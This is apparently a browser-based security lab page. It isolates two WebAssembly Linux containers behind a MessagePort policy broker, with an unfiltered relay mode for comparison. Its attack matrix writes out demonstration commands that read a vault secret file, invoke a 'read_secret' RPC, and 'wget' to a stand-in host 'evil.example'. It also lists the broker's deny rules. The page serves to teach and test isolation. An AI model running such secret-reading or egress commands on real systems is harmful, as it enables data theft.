JSPI: Checking… VMs: Stopped Port: Unwired

Track 10 · Browser-Delivered Linux 7.x Container Fabric

MessagePort Container Mesh

Running untrusted processing and sensitive data inside one shared container lets a compromised shell read sibling secrets directly. This lab boots two independent Unkernel Linux 7.x kernels (ingest-vm and vault-vm, 96 MiB RAM each) in separate Dedicated Workers with zero external network interfaces, linked only through a policy-mediated MessageChannel pipe—and lets you flip the broker to an Unfiltered Naive Relay to observe the exact boundary failure when policy checks are omitted.

Why this matters

A single Linux VM or shared Wasm runtime exposes every mounted file to any command inside it. Splitting untrusted input ingestion (/work) from private pricing and secrets (/vault) across two kernels removes filesystem overlap—and proves that the MessagePort policy broker, not just the transport channel, enforces least privilege.

What this enables

Zero-server, multi-container browser workloads using real POSIX tools (sh, awk, sha256sum): Container A pipes CSV rows through /run/kw/bin/port-call compute_totals, Container B computes aggregates against private tables in /vault, and one click revokes the MessagePort immediately with 410 PORT_REVOKED.

How the experiments work

Click 1. Boot Both Linux 7.x Containers, run 2. Pipe Orders to Vault, then fire the 3 Compromised-Container-A Attacks in both Policy-Mediated Broker and Unfiltered Naive Relay modes. Finish with 4. Revoke Port & Transferable Benchmark.

MessagePort Broker Policy Mode

Toggle between the hardened Policy-Mediated Broker (allowlist: compute_totals, hash_payload, health; path traversal guard; canary egress redaction) and the Unfiltered Naive Relay (falsify_signal).

Mode: Policy-Mediated

4 Live Container-Mesh Experiments

Ready to boot two Linux 7.x kernels in Dedicated Workers.
Experiment 1 Idle

Boot Two Independent Linux 7.x VMs

Spawns ingest-vm (/work) and vault-vm (/vault) in separate Dedicated Workers (96 MiB each, zero external NICs) and proves isolated hostnames, PIDs, and mount trees.

Experiment 2 Requires Boot

Cross-Container Linux Pipe over MessagePort

Executes sh -c "cat /work/raw-orders.csv | port-call compute_totals" in Container A; Container B runs real Linux awk + sha256sum against /vault/pricing.json and returns only totals.

Experiment 3 Requires Boot

3 Compromised-Container-A Attacks

Fires direct /vault read (ENOENT), port-call read_secret (403 POLICY_DENIED vs Unfiltered Relay canary leak), and wget https://evil.example (no NIC).

Experiment 4 Requires Boot

Live Port Revocation & Transferable Benchmark

Calls port.close() live to verify immediate 410 PORT_REVOKED cutoff, reconnects a fresh MessageChannel, and benchmarks zero-copy ArrayBuffer transfer vs cloned JSON.

Container A: ingest-vm (Untrusted Input)

Dedicated Worker #1 · Mount: /work · Host commands: port-call, port-ping · NICs: lo only

Stopped
Container A stdout / stderr exit: —
Click "1. Boot Both Containers" to start ingest-vm (Linux 7.x on WebAssembly).

Container B: vault-vm (Private Secrets)

Dedicated Worker #2 · Mount: /vault · Runs real Linux awk & sha256sum · NICs: lo only

Stopped
/vault/pricing.json Vault-Only
{
  "SKU-WIDGET": 12.5,
  "SKU-SENSOR": 45,
  "SKU-RELAY": 19.75
}
/vault/canary-secret.txt Canary Secret
CANARY_VAULT_SECRET_9f83c1a4_DO_NOT_EXFILTRATE
Container B isolation proof & execution trace RPCs handled: 0
Click "1. Boot Both Containers" to start vault-vm (Linux 7.x on WebAssembly).

Compromised-Container-A Attack Matrix

Observed kernel & broker verdicts from real commands executed inside ingest-vm

Attack Vector Boundary Status Observed Output
cat /vault/canary-secret.txt Kernel Mount Pending Boot VMs and run Experiment 3.
port-call read_secret /vault/canary-secret.txt Port Broker Pending Compare Policy-Mediated vs Unfiltered Relay.
wget -T 2 -qO- https://evil.example No Network Pending Verifies zero external NICs (lo only).

MessagePort Transfer Benchmark

Cloned JSON vs zero-copy transferable ArrayBuffer piped into Container B sha256sum

Boot both VMs and click "4B. Run Benchmark" to compare structured-clone JSON against transferable ArrayBuffer (with source buffer byteLength === 0 detachment proof).

MessagePort Wire Audit Log

Every RPC frame traversing public/lib/port-broker.js between Container A and Container B

0 frames
# Direction Operation Mode Transport Bytes Decision Code Time Detail
No MessagePort RPC frames recorded yet.

Edge audit echo idle (optional metadata-only echo to POST /api/audit-echo).

Key terms & further reading
Unkernel (Linux 7.x on WebAssembly)
A real Linux 7.x kernel compiled to WebAssembly that boots an isolated POSIX userland (sh, awk, sha256sum) directly inside a browser Dedicated Worker with zero server compute.
WebAssembly JSPI (WebAssembly.Suspending)
JavaScript Promise Integration allows synchronous WebAssembly kernel code to suspend cleanly on asynchronous host I/O such as 9p mounts and host command pipes without blocking the UI thread.
MessageChannel & MessagePort
A pair of connected, transferable capability ports in the HTML Standard. Transferring each end into a separate Dedicated Worker creates a private point-to-point channel that can be closed immediately via port.close().
Transferable ArrayBuffer (Zero-Copy)
Passing an ArrayBuffer in the postMessage(msg, [buf]) transfer list moves memory ownership across worker threads without copying bytes, detaching the sender's view (byteLength === 0).
Unkernel Host Commands (/run/kw/bin/*)
Virtual binaries exposed inside the Linux guest's $PATH that stream guest stdin/stdout/stderr over vsock to JavaScript handlers—used here to bridge POSIX pipelines into MessagePort frames.
Dedicated Worker Memory Isolation
Each Dedicated Worker executes in an independent JavaScript heap with its own linear WebAssembly.Memory and MemoryFs mount tree, ensuring Container A has no handle to Container B's /vault.

1. The Problem

Running untrusted input parsing alongside private pricing tables or credentials inside one Linux container grants ambient filesystem access: a single shell injection can run cat /vault/canary-secret.txt or open a network socket.

2. The Architecture

Two separate Unkernel Linux 7.x kernels boot inside independent Dedicated Workers with zero external network interfaces (lo only). Container A mounts only /work; Container B mounts only /vault. Their sole bridge is a MessageChannel pair mediated by public/lib/port-broker.js.

3. The Falsification Test

Switching the broker to Unfiltered Naive Relay proves why transport isolation alone is insufficient: without an explicit operation allowlist and egress canary guard, port-call read_secret /vault/canary-secret.txt exfiltrates Container B's secret across the port.

Architecture Two browser-delivered Linux 7.x VMs bridged exclusively by a policy-mediated MessagePort
Inside Browser Tab · Two Dedicated Workers · Zero External Network (lo only)
Dedicated Worker #1

Container A: ingest-vm

Linux 7.x · 96 MiB · MemoryFs /work
  • Files: /work/raw-orders.csv, /work/README.md
  • Host commands: /run/kw/bin/port-call, port-ping
  • No /vault mount (ENOENT) & no eth0 NIC
Policy Gate / Falsify Toggle

Port Broker public/lib/port-broker.js

  1. Reject closed channels with 410 PORT_REVOKED
  2. Allowlist ops: compute_totals, hash_payload, health
  3. Block read_secret, .., and /vault args (403)
  4. Transfer ArrayBuffer zero-copy & scrub canary egress

Switch to Unfiltered Naive Relay to test the falsification boundary.

Dedicated Worker #2

Container B: vault-vm

Linux 7.x · 96 MiB · MemoryFs /vault
/bin/awk /bin/sha256sum pricing.json
403 / 410 GUARDED

Private Canary: canary-secret.txt

Never exposed to ingest-vm

Blocked by kernel mount isolation, broker op allowlist, and egress redaction.

Cloudflare Edge Worker src/worker.ts + Immutable WASM Assets

Static Delivery

Delivers HTML/JS/CSS with strict CSP (wasm-unsafe-eval, worker-src 'self' blob:, no X-Frame-Options) and serves /vendor/unkernel/0.3.0-261202-b033dc7/unkernel.wasm directly via static assets with immutable caching. Zero VM compute runs on the server.

Both Linux 7.x kernels execute locally inside browser Dedicated Workers. Only structured RPC frames cross the mediated MessageChannel; optional metadata-only audit summaries can echo to POST /api/audit-echo.
How This Is Set Up

Two-VM Dedicated Worker Wiring & MessagePort Policy Broker

Replacing a single monolithic container (or an unfiltered RPC pipe) with two Unkernel Linux 7.x workers bridged by allowlisted, revocable MessagePort frames.

Single container or unfiltered relay (over-privileged)
// Monolithic VM mounts both untrusted input and secrets:
const vm = await createKernel({
  mounts: { "/work": ingestFs, "/vault": vaultFs },
});
// Any shell command can exfiltrate directly:
await vm.exec("cat", ["/vault/canary-secret.txt"]);

// Or an unfiltered MessagePort forwards arbitrary ops:
portA.onmessage = (e) => portB.postMessage(e.data);
Two Linux 7.x workers + mediated MessagePort broker
// Separate Dedicated Workers + zero-network Linux 7.x kernels:
const chanA = new MessageChannel();
const chanB = new MessageChannel();
broker.attachPorts(chanA.port2, chanB.port1);

ingestWorker.postMessage({ type: "worker:boot", role: "ingest" }, [chanA.port1]);
vaultWorker.postMessage({ type: "worker:boot", role: "vault" }, [chanB.port2]);

// Inside ingest-vm, POSIX pipelines cross the port cleanly:
// sh -c "cat /work/raw-orders.csv | port-call compute_totals"
// Instant cutoff: broker.revoke() -> 410 PORT_REVOKED
Inspect Host Command Bridge (/run/kw/bin/port-call) & Vault awk Execution
// public/container-worker.js — Container A registers /run/kw/bin/port-call
const vm = await createKernel({
  kernel: "/vendor/unkernel/0.3.0-261202-b033dc7/unkernel.wasm",
  memoryMiB: 96,
  mounts: { "/work": memFs },
  commands: {
    "port-call": async (ctx) => {
      const stdinBytes = await readStreamBytes(ctx.stdin);
      const res = await sendIngestRpc(ctx.args[0], ctx.args.slice(1), stdinBytes);
      // Zero-copy ArrayBuffer transfer: meshPort.postMessage(frame, [buf])
      return { exitCode: res.ok ? 0 : 1 };
    },
  },
});

// Container B runs real Linux awk against /vault/pricing.json and stdin bytes:
const awkRes = await vm.exec("awk", ["-F,", AWK_AGGREGATE_PROGRAM, "/vault/pricing.json", "-"], {
  input: payloadBytes,
});
What disappears

Shared filesystems between untrusted parsers and secret stores, server-side container orchestration for local pipelines, and ambient network egress from compute workers.

What becomes explicit

Per-container MemoryFs mounts (/work vs /vault), allowlisted RPC operation names, zero-copy ArrayBuffer ownership transfer, egress canary scanning, and instant port.close() revocation.

Platform gaps remaining

Unkernel depends on WebAssembly JSPI (WebAssembly.Suspending), which is shipping in Chromium 137+ and Node 25+ but not yet universally enabled across all mobile browsers; two 96 MiB kernels also reserve ~192 MiB of browser worker memory.